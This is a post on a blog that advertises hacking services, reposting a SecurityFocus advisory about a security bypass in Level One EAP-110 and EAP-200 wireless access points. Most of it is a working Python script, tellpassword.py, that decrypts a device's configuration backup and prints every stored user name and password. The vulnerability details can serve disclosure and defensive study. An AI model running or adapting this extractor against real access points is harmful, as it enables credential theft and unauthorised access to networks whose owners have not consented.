Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863100633

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
source: https://www.securityfocus.com/bid/63168/info

Multiple Level One Enterprise Access Point devices are prone to a security bypass vulnerability.

Successfully exploiting this issue may allow an attacker to gain access to sensitive configuration information including credentials. This may aid in further attacks.

Level One EAP-110 and EAP-200 running firmware 2.00.03 build 1.50-1.5045 are vulnerable; other versions may also be affected. 

# tellpassword.py
#
# Extracts user accounts from Level1 (ip4net)
# EAP-200 (and other) Wifi Access Points
#
# (c) 2013 sigma star gmbh

import sys, re

attribRegex = re.compile(r"(\w+)=\"([^\"]*)\"")

if (len(sys.argv) != 2):
    print "USAGE: %s config-backup.conf" % sys.argv[0]
    exit(1)

# decrypt config
encrypted = open(sys.argv[1], 'rb')
plain = open('plain.xml', 'w')
cntr = 0
encrypted.seek(128)
byte = encrypted.read(1)
print "Decrypting config file into plain.xml"
while byte:
    plainOrd = ((ord(byte) ^ 0xff) + cntr) % 0x80
    plain.write(chr(plainOrd))
    cntr = (cntr + 1) % 0x40
    byte = encrypted.read(1)
encrypted.close()
plain.close()

# find user accounts
print "Parsing accounts..."
plain = open('plain.xml', 'r')
for line in plain:
    if "<user" in line:
        user = None
        password = None
        for match in attribRegex.finditer(line):
            attrib = match.group(1)
            if attrib == "name":
                user = match.group(2)
            elif attrib == "password":
                password = match.group(2)
        if len(password) > 0:
                print " - %s: %s" % (user, password)
plain.close()